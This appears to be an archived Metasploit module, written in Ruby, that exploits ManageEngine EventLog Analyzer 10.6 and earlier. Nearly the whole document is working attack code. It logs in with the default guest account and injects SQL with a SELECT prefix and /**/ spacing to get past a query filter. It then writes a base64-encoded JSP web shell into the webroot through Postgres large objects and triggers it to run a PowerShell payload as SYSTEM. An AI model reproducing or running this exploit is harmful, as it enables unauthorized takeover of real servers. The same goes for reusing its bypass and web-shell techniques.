ManageEngine EventLog Analyzer Remote Code Execution

2015-09-29 19:05:20

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::Powershell

def initialize(info={})
super(update_info(info,
'Name' => 'ManageEngine EventLog Analyzer Remote Code Execution',
'Description' => %q{
This module exploits a SQL query functionality in ManageEngine EventLog Analyzer v10.6
build 10060 and previous versions. Every authenticated user, including the default "guest"
account can execute SQL queries directly on the underlying Postgres database server. The
queries are executed as the "postgres" user which has full privileges and thus is able to
write files to disk. This way a JSP payload can be uploaded and executed with SYSTEM
privileges on the web server. This module has been tested successfully on ManageEngine
EventLog Analyzer 10.0 (build 10003) over Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'xistence <xistence[at]0x90.nl>' # Discovery, Metasploit module
],
'References' =>
[
['EDB', '38173']
],
'Platform' => ['win'],
'Arch' => ARCH_X86,
'Targets' =>
[
['ManageEngine EventLog Analyzer 10.0 (build 10003) / Windows 7 SP1', {}]
],
'Privileged' => true,
'DisclosureDate' => 'Jul 11 2015',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(8400),
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'guest' ]),
OptString.new('PASSWORD', [ true, 'The password to authenticate as', 'guest' ])
], self.class)
end

def uri
target_uri.path
end


def check
# Check version
vprint_status("#{peer} - Trying to detect ManageEngine EventLog Analyzer")

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'event', 'index3.do')
})

if res && res.code == 200 && res.body && res.body.include?('ManageEngine EventLog Analyzer')
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end

def sql_query(cookies, query)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'event', 'runQuery.do'),
'cookie' => cookies,
'vars_post' => {
'execute' => 'true',
'query' => query,
}
})

unless res && res.code == 200
fail_with(Failure::Unknown, "#{peer} - Failed executing SQL query!")
end

res
end


def generate_jsp_payload(cmd)

decoder = rand_text_alpha(4 + rand(32 - 4))
decoded_bytes = rand_text_alpha(4 + rand(32 - 4))
cmd_array = rand_text_alpha(4 + rand(32 - 4))
jsp_code = '<%'
jsp_code << "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
jsp_code << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
jsp_code << "String [] #{cmd_array} = new String[3];\n"
jsp_code << "#{cmd_array}[0] = \"cmd.exe\";\n"
jsp_code << "#{cmd_array}[1] = \"/c\";\n"
jsp_code << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
jsp_code << "Runtime.getRuntime().exec(#{cmd_array});\n"
jsp_code << '%>'

jsp_code
end


def exploit

print_status("#{peer} - Retrieving JSESSION ID")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'event', 'index3.do'),
})

if res && res.code == 200 && res.get_cookies =~ /JSESSIONID=(\w+);/
jsessionid = $1
print_status("#{peer} - JSESSION ID Retrieved [ #{jsessionid} ]")
else
fail_with(Failure::Unknown, "#{peer} - Unable to retrieve JSESSION ID!")
end

print_status("#{peer} - Access login page")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'event', "j_security_check;jsessionid=#{jsessionid}"),
'vars_post' => {
'forChecking' => 'null',
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD'],
'domains' => "Local Authentication\r\n",
'loginButton' => 'Login',
'optionValue' => 'hide'
}
})

if res && res.code == 302
redirect = URI(res.headers['Location'])
print_status("#{peer} - Location is [ #{redirect} ]")
else
fail_with(Failure::Unknown, "#{peer} - Access to login page failed!")
end


# Follow redirection process
print_status("#{peer} - Following redirection")
res = send_request_cgi({
'uri' => "#{redirect}",
'method' => 'GET'
})

if res && res.code == 200 && res.get_cookies =~ /JSESSIONID/
cookies = res.get_cookies
print_status("#{peer} - Logged in, new cookies retrieved [#{cookies}]")
else
fail_with(Failure::Unknown, "#{peer} - Redirect failed, unable to login with provided credentials!")
end


jsp_name = rand_text_alphanumeric(4 + rand(32 - 4)) + '.jsp'

cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
jsp_payload = Rex::Text.encode_base64(generate_jsp_payload(cmd)).gsub(/\n/, '')


print_status("#{peer} - Executing SQL queries")

# Remove large object in database, just in case it exists from previous exploit attempts
sql = 'SELECT lo_unlink(-1)'
result = sql_query(cookies, sql)

# Create large object "-1". We use "-1" so we will not accidently overwrite large objects in use by other tasks.
sql = 'SELECT lo_create(-1)'
result = sql_query(cookies, sql)
if result.body =~ /menuItemRow\">([0-9]+)/
loid = $1
else
fail_with(Failure::Unknown, "#{peer} - Postgres Large Object ID not found!")
end

select_random = rand_text_numeric(2 + rand(6 - 2))
# Insert JSP payload into the pg_largeobject table. We have to use "SELECT" first to to bypass OpManager's checks for queries starting with INSERT/UPDATE/DELETE, etc.
sql = "SELECT #{select_random};INSERT INTO/**/pg_largeobject/**/(loid,pageno,data)/**/VALUES(#{loid}, 0, DECODE('#{jsp_payload}', 'base64'));--"


result = sql_query(cookies, sql)

# Export our large object id data into a WAR file
sql = "SELECT lo_export(#{loid}, '..//..//webapps//event/#{jsp_name}');"

sql_query(cookies, sql)

# Remove our large object in the database
sql = 'SELECT lo_unlink(-1)'
result = sql_query(cookies, sql)

register_file_for_cleanup("..\\webapps\\event\\#{jsp_name}")

print_status("#{peer} - Executing JSP payload")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, jsp_name),
})

# If the server returns 200 we assume we uploaded and executed the payload file successfully
unless res && res.code == 200
print_status("#{res.code}\n#{res.body}")
fail_with(Failure::Unknown, "#{peer} - Payload not executed, aborting!")
end

end

end

Fixes

No fixes

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